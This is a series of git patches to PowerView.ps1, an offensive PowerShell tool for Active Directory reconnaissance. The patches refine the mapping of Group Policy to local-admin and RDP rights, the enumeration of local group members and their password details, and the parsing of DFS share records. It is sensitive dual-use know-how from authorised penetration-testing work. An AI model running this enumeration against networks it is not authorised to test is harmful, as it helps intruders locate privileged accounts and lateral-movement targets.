'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GPOPath + 'Filters' = $Null + 'MemberOf' = $Memberof + 'Members' = $Members } + + New-Object -TypeName PSObject -Property $GPOProperties } $ParseArgs = @{ @@ -6012,16 +6034,16 @@ function Find-GPOLocation { $ObjectDistName = $Group.distinguishedname } else { - throw "-UserName or -GroupName must be specified!" + $TargetSid = '*' } if($LocalGroup -like "*Admin*") { - $LocalSID = "S-1-5-32-544" + $LocalSID = 'S-1-5-32-544' } elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { - $LocalSID = "S-1-5-32-555" + $LocalSID = 'S-1-5-32-555' } - elseif ($LocalGroup -like "S-1-5*") { + elseif ($LocalGroup -like "S-1-5-*") { $LocalSID = $LocalGroup } else { @@ -6032,13 +6054,15 @@ function Find-GPOLocation { Write-Verbose "TargetSid: $TargetSid" Write-Verbose "TargetObjectDistName: $ObjectDistName" - if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + if($TargetSid -ne '*') { + if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } - # use the tokenGroups approach from Get-NetGroup to get all effective - # security SIDs this object is a part of - $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + # use the tokenGroups approach from Get-NetGroup to get all effective + # security SIDs this object is a part of + $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids - if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) } + } Write-Verbose "Effective target sids: $TargetSid" @@ -6052,7 +6076,6 @@ function Find-GPOLocation { # get all GPO groups, and filter on ones that match our target SID list # and match the target local sid memberof list $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - if ($_.members) { $_.members = $_.members | Where-Object {$_} | ForEach-Object { if($_ -match '^S-1-.*') { @@ -6062,25 +6085,19 @@ function Find-GPOLocation { # if there are any plain group names, try to resolve them to sids (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID } - } + } | Sort-Object -Unique # stop PowerShell 2.0's string stupid unboxing - if($_.members -isnot [system.array]) { $_.members = @($_.members) } - if($_.memberof -isnot [system.array]) { $_.memberof = @($_.memberof) } - - if($_.members) { - try { - # only return groups that contain a target sid - - # TODO: fix stupid weird "-DifferenceObject" is null error - if( (Compare-Object -ReferenceObject $_.members -DifferenceObject $TargetSid -IncludeEqual -ExcludeDifferent) ) { - if ($_.memberof -contains $LocalSid) { - $_ - } - } - } - catch { - Write-Debug "Error comparing members and $TargetSid : $_" + if($_.members -isnot [System.Array]) { $_.members = @($_.members) } + if($_.memberof -isnot [System.Array]) { $_.memberof = @($_.memberof) } + + # check if the memberof contains the sid of the local account we're searching for + Write-Verbose "memberof: $($_.memberof)" + if ($_.memberof -contains $LocalSid) { + # check if there's an overlap between the members field and the set of target sids + # if $TargetSid = *, then return all results + if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) { + $_ } } } @@ -6093,12 +6110,13 @@ function Find-GPOLocation { $GPOgroups | Where-Object {$_} | ForEach-Object { $GPOguid = $_.GPOName + $GPOMembers = $_.Members if( -not $ProcessedGUIDs[$GPOguid] ) { $GPOname = $_.GPODisplayName $Filters = $_.Filters - # find any OUs that have this GUID applied + # find any OUs that have this GUID applied and then retrieve any computers from the OU Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { if($Filters) { @@ -6112,6 +6130,11 @@ function Find-GPOLocation { $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } + if(!$ObjectDistName) { + # if the * wildcard was used, set the ObjectDistName as the GPO member sid set + $ObjectDistName = $GPOMembers + } + $GPOLocation = New-Object PSObject $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname @@ -6122,33 +6145,25 @@ function Find-GPOLocation { } # find any sites that have this GUID applied - # TODO: fix, this isn't the correct way to query computers from a site... - # Get-NetSite -GUID $GPOguid -FullData | Foreach-Object { - # if($Filters) { - # # filter for computer name/org unit if a filter is specified - # # TODO: handle other filters? - # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -FullData | ? { - # $_.adspath -match ($Filters.Value) - # } | Foreach-Object {$_.dnshostname} - # } - # else { - # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath - # } - - # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath - # $out = New-Object PSObject - # $out | Add-Member Noteproperty 'Object' $ObjectDistName - # $out | Add-Member Noteproperty 'GPOname' $GPOname - # $out | Add-Member Noteproperty 'GPOguid' $GPOguid - # $out | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - # $out | Add-Member Noteproperty 'Computers' $OUComputers - # $out - # } + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | Foreach-Object { + + $AppliedSite = New-Object PSObject + $AppliedSite | Add-Member Noteproperty 'Object' $ObjectDistName + $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname + $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid + $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl + $AppliedSite + } # mark off this GPO GUID so we don't process it again if there are dupes $ProcessedGUIDs[$GPOguid] = $True } } +} + + +function Get-GPOUserMap { } @@ -6250,7 +6265,7 @@ function Find-GPOComputerAdmin { $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize if(!$Computers) { - throw "Computer $Computer in domain '$Domain' not found!" + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" } ForEach($Computer in $Computers) { @@ -8377,7 +8392,7 @@ function Invoke-UserHunter { $User } | Where-Object {$_} - } + } } else { ForEach ($Domain in $TargetDomains) { @@ -8434,7 +8449,7 @@ function Invoke-UserHunter { } $FoundUser } - } + } } } if(!$Stealth) { @@ -8896,7 +8911,7 @@ function Invoke-ProcessHunter { $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} - } + } } else { ForEach ($Domain in $TargetDomains) { @@ -9233,7 +9248,7 @@ function Invoke-EventHunter { $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} - } + } } else { ForEach ($Domain in $TargetDomains) { @@ -10091,7 +10106,7 @@ function Invoke-FileFinder { } else { Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams - } + } } else { @@ -10687,7 +10702,7 @@ function Get-ExploitableSystem { $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) } } - } + } # Display results $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object @@ -11116,7 +11131,7 @@ function Get-NetDomainTrust { if($FoundDomain) { $FoundDomain.GetAllTrustRelationships() - } + } } } } From 46e12414e80aeab78e58d3aaee3207c7262d3747 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 28 Feb 2016 23:05:28 -0500 Subject: [PATCH 099/296] Modified output of Find-GPOLocation to return more object information. --- Recon/PowerView.ps1 | 74 +++++++++++++++++++++++++++++---------------- 1 file changed, 48 insertions(+), 26 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 59f603fc..9d5fbc62 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6018,7 +6018,7 @@ function Find-GPOLocation { $TargetSid = $UserSid $ObjectSamAccountName = $User.samaccountname - $ObjectDistName = $User.distinguishedname + $TargetObjects = $UserSid } elseif($GroupName) { @@ -6031,7 +6031,7 @@ function Find-GPOLocation { $TargetSid = $GroupSid $ObjectSamAccountName = $Group.samaccountname - $ObjectDistName = $Group.distinguishedname + $TargetObjects = $GroupSid } else { $TargetSid = '*' @@ -6052,7 +6052,6 @@ function Find-GPOLocation { Write-Verbose "LocalSid: $LocalSID" Write-Verbose "TargetSid: $TargetSid" - Write-Verbose "TargetObjectDistName: $ObjectDistName" if($TargetSid -ne '*') { if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } @@ -6130,30 +6129,58 @@ function Find-GPOLocation { $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } - if(!$ObjectDistName) { + if(!$TargetObjects) { # if the * wildcard was used, set the ObjectDistName as the GPO member sid set - $ObjectDistName = $GPOMembers + $TargetObjects = $GPOMembers } - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName - $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers - $GPOLocation + ForEach ($TargetSid in $TargetObjects) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + + if($Object.samaccounttype -notmatch '805306368') { + $IsGroup = $True + } + else { + $IsGroup = $False + } + + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers + $GPOLocation + } } # find any sites that have this GUID applied Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | Foreach-Object { - $AppliedSite = New-Object PSObject - $AppliedSite | Add-Member Noteproperty 'Object' $ObjectDistName - $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname - $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid - $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl - $AppliedSite + ForEach ($TargetSid in $TargetObjects) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + + if($Object.samaccounttype -notmatch '805306368') { + $IsGroup = $True + } + else { + $IsGroup = $False + } + + $AppliedSite = New-Object PSObject + $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname + $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid + $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl + $AppliedSite + } } # mark off this GPO GUID so we don't process it again if there are dupes @@ -6163,11 +6190,6 @@ function Find-GPOLocation { } -function Get-GPOUserMap { - -} - - function Find-GPOComputerAdmin { <# .SYNOPSIS @@ -6316,14 +6338,14 @@ function Find-GPOComputerAdmin { $GPO.members | Foreach-Object { # resolvethis SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -Credential $Credential $_ -PageSize $PageSize + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -notmatch '805306368') From 26ca1a922e6f2ca08b265ab43a36eefc4bc6acbe Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 6 Mar 2016 21:47:06 -0500 Subject: [PATCH 100/296] Added additional fields to Get-NetLocalGroup results. --- Recon/PowerView.ps1 | 85 +++++++++++++++++++++++++++++++++------------ 1 file changed, 63 insertions(+), 22 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 9d5fbc62..d07edf65 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6468,7 +6468,6 @@ function Get-DomainPolicy { $ParseArgs = @{ 'GptTmplPath' = $GptTmplPath 'UsePSDrive' = $UsePSDrive - 'Credential' = $Credential } # parse the GptTmpl.inf @@ -6585,7 +6584,7 @@ function Get-NetLocalGroup { .EXAMPLE - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse Returns all effective local/domain users/groups that can access WINDOWS7 with local administrative privileges. @@ -6615,7 +6614,7 @@ function Get-NetLocalGroup { $ComputerFile, [String] - $GroupName = 'Administrators', + $GroupName, [Switch] $ListGroups, @@ -6664,12 +6663,12 @@ function Get-NetLocalGroup { } else { # otherwise we're listing the group members - $Members = @($([ADSI]"WinNT://$Server/$GroupName").psbase.Invoke('Members')) + $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) $Members | ForEach-Object { $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'Server' $Server + $Member | Add-Member Noteproperty 'ComputerName' $Server $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') @@ -6688,32 +6687,69 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'AccountName' $Name - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + if($IsDomain) { + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - # if the account is local, check if it's disabled, if it's domain, always print $False - # TODO: fix this occasinal error? - $Member | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $Null, $_, $Null) } catch { 'ERROR' } } else { $False } ) + $Member | Add-Member Noteproperty 'Description' "" + $Member | Add-Member Noteproperty 'Disabled' $False - # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' "" + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' $Null + } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' $Null + } + } + $Member | Add-Member Noteproperty 'PwdLastSet' "" + $Member | Add-Member Noteproperty 'PwdExpired' "" + $Member | Add-Member Noteproperty 'UserFlags' "" } else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) - } - catch { + # repull this user object so we can ensure correct information + $LocalUser = $([ADSI] "WinNT://$AdsPath") + + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + + $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + + # UAC flags of 0x2 mean the account is disabled + $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) + + # check if the member is a group + $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + + if($IsGroup) { $Member | Add-Member Noteproperty 'LastLogin' "" } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + } + + $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) } $Member # if the result is a group domain object and we're recursing, - # try to resolve all the group member results + # try to resolve all the group member results if($Recurse -and $IsDomain -and $IsGroup) { $FQDN = $Name.split("/")[0] @@ -6722,7 +6758,7 @@ function Get-NetLocalGroup { Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'Server' "$FQDN/$($_.GroupName)" + $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" $MemberDN = $_.distinguishedName # extract the FQDN from the Distinguished Name @@ -6757,10 +6793,14 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Description' $_.description $Member | Add-Member Noteproperty 'Disabled' $False $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup $Member | Add-Member Noteproperty 'IsDomain' $True $Member | Add-Member Noteproperty 'LastLogin' '' + $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet + $Member | Add-Member Noteproperty 'PwdExpired' '' + $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl $Member } } @@ -11753,3 +11793,4 @@ $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Kernel32 = $Types['kernel32'] $Wtsapi32 = $Types['wtsapi32'] + From 661b11ed3c421f32bec21446a8748aa7fdb8cea7 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 6 Mar 2016 03:18:43 +0000 Subject: [PATCH 101/296] Parse DFSv1 PKT --- Recon/PowerView.ps1 | 204 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 198 insertions(+), 6 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 8672e76d..5823d181 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5138,13 +5138,13 @@ function Get-DFSshare { .EXAMPLE PS C:\> Get-DFSshare - + Returns all distributed file system shares for the current domain. .EXAMPLE PS C:\> Get-DFSshare -Domain test - + Returns all distributed file system shares for the 'test' domain. #> @@ -5171,6 +5171,185 @@ function Get-DFSshare { $Credential ) + function Parse-Pkt { + [CmdletBinding()] + param( + [byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + #Write-Host "Element Count: " $blob_element_count + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + #Write-Host "Blob name size: " $blob_name_size + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + #Write-Host "Blob Name: " $blob_name + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + #Write-Host "blob data size: " $blob_data_size + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + #write-host "Prefix: " $prefix + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + #write-host "Short Prefix: " $short_prefix + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + #write-host $type + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + #write-host $state + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + #Write-Host $comment + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + #write-host $version + if ($version -ne 3) + { + #write-host "error" + } + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + #write-host $dfs_targetlist_blob_size + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + #write-host $reserved_blob_size + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + #write-host $target_count + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + #write-host $target_entry_size + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + #write-host $target_state + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + #write-host $target_type + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + #write-host $server_name_size + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + #write-host $server_name + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + #write-host $share_name + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $null + $blob_name = $null + $target_list = $null + } + + $servers = @() + $object_list | ForEach-Object { + #write-host $_.Name; + #write-host $_.TargetList + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split("\")[2] + } + } + } + + $servers + } + function Get-DFSshareV1 { [CmdletBinding()] param( @@ -5183,7 +5362,7 @@ function Get-DFSshare { [String] $ADSpath, - [ValidateRange(1,10000)] + [ValidateRange(1,10000)] [Int] $PageSize = 200, @@ -5201,6 +5380,7 @@ function Get-DFSshare { $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt $DFSshares += $RemoteNames | ForEach-Object { try { @@ -5213,9 +5393,21 @@ function Get-DFSshare { } } } + + $redirects = Parse-Pkt $pkt[0] + $redirects | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } } catch { - Write-Warning "Get-DFSshareV2 error : $_" + Write-Warning "Get-DFSshareV1 error : $_" } $DFSshares | Sort-Object -Property "RemoteServerName" } @@ -5276,7 +5468,7 @@ function Get-DFSshare { } $DFSshares = @() - + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } @@ -5284,7 +5476,7 @@ function Get-DFSshare { $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } - $DFSshares | Sort-Object -Property "RemoteServerName" + $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique } From b4891eb371c83c0eef7cc3d4485b3a7066c9641e Mon Sep 17 